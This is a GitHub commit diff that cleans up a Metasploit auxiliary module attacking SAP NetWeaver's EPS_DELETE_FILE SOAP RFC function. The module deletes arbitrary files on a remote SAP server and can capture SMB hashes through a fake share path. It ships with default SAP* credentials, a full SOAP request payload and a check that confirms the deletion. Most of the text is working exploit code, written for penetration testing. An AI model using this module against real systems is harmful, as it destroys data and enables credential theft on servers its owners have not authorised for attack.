Skip to content

Commit 7ad73d8

Browse files
committed
Merge pull request #7 from jvazquez-r7/sap_soap_rfc_eps_delete_file
Cleanup for sap_soap_rfc_eps_delete_file
2 parents 9594693 + 7b960a4 commit 7ad73d8

File tree

1 file changed

+43
-28
lines changed

1 file changed

+43
-28
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_eps_delete_file_smb_relay.rb renamed to modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb

Lines changed: 43 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -31,24 +31,32 @@ class Metasploit4 < Msf::Auxiliary
3131

3232
def initialize
3333
super(
34-
'Name' => 'EPS_DELETE_FILE (File deletion + SMB Relay)',
34+
'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion',
3535
'Description' => %q{
36-
A vulnerability in the SAP EPS_DELETE_FILE RFC function allows an attacker to delete files remotely
37-
and/or steal hashes using an SMB relay attack.
38-
SAP Note 1554030 / DSECRG-11-031.
39-
},
40-
'References' => [['URL','http://dsecrg.com/pages/vul/show.php?id=331']],
41-
'Author' => ['nmonkee'],
36+
This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
37+
RFC Service, to delete arbitrary files on the remote file system. The module can
38+
also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
39+
},
40+
'References' => [
41+
[ 'OSVDB', '74780' ],
42+
[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=331' ],
43+
[ 'URL', 'https://service.sap.com/sap/support/notes/1554030' ]
44+
],
45+
'Author' =>
46+
[
47+
'Alexey Sintsov', # Vulnerability discovery
48+
'nmonkee' # Metasploit module
49+
],
4250
'License' => MSF_LICENSE
4351
)
4452

4553
register_options([
46-
OptString.new('CLIENT', [true, 'SAP client', nil]),
47-
OptString.new('USER', [true, 'Username', nil]),
48-
OptString.new('PASS', [true, 'Password', nil]),
49-
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil]),
50-
OptString.new('FILENAME',[true,'Filename (e.g. filename.ext )',nil])
51-
], self.class)
54+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
55+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
56+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
57+
OptString.new('DIRNAME', [true, 'Directory Path which contains the file to delete', '/tmp']),
58+
OptString.new('FILENAME', [true, 'Filename to delete', 'msf.txt'])
59+
], self.class)
5260
end
5361

5462
def run_host(ip)
@@ -59,31 +67,38 @@ def run_host(ip)
5967
data << '<SOAP-ENV:Header/>'
6068
data << '<SOAP-ENV:Body>'
6169
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
62-
data << '<DIR_NAME>' + datastore['PATH'] + '</DIR_NAME>'
70+
data << '<DIR_NAME>' + datastore['DIRNAME'] + '</DIR_NAME>'
6371
data << '<FILE_NAME>' + datastore['FILENAME'] + '</FILE_NAME>'
6472
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
6573
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
6674
data << '</EPS_DELETE_FILE>'
6775
data << '</SOAP-ENV:Body>'
6876
data << '</SOAP-ENV:Envelope>'
69-
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
77+
7078
begin
71-
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}\\#{datastore['FILENAME']}")
72-
res = send_request_raw({
73-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
79+
vprint_status("#{rhost}:#{rport} - Sending request to delete #{datastore['FILENAME']} at #{datastore['DIRNAME']}")
80+
res = send_request_cgi({
81+
'uri' => '/sap/bc/soap/rfc',
7482
'method' => 'POST',
7583
'data' => data,
76-
'headers' =>{
77-
'Content-Length' => data.size.to_s,
84+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
85+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
86+
'ctype' => 'text/xml; charset=UTF-8',
87+
'headers' => {
7888
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
79-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
80-
'Authorization' => 'Basic ' + user_pass,
81-
'Content-Type' => 'text/xml; charset=UTF-8',}
82-
}, 45)
83-
if res
84-
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
85-
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
86-
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
89+
},
90+
'vars_get' => {
91+
'sap-client' => datastore['CLIENT'],
92+
'sap-language' => 'EN'
93+
}
94+
})
95+
96+
if res and res.code == 200 and res.body =~ /EPS_DELETE_FILE.Response/ and res.body =~ /#{datastore['DIRNAME']}/ and res.body =~ /#{datastore['FILENAME']}/
97+
print_good("#{rhost}:#{rport} - File #{datastore['FILENAME']} at #{datastore['DIRNAME']} successfully deleted")
98+
elsif res
99+
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
100+
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
101+
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
87102
end
88103
rescue ::Rex::ConnectionError
89104
print_error("#{rhost}:#{rport} - Unable to connect")

0 commit comments

Comments
 (0)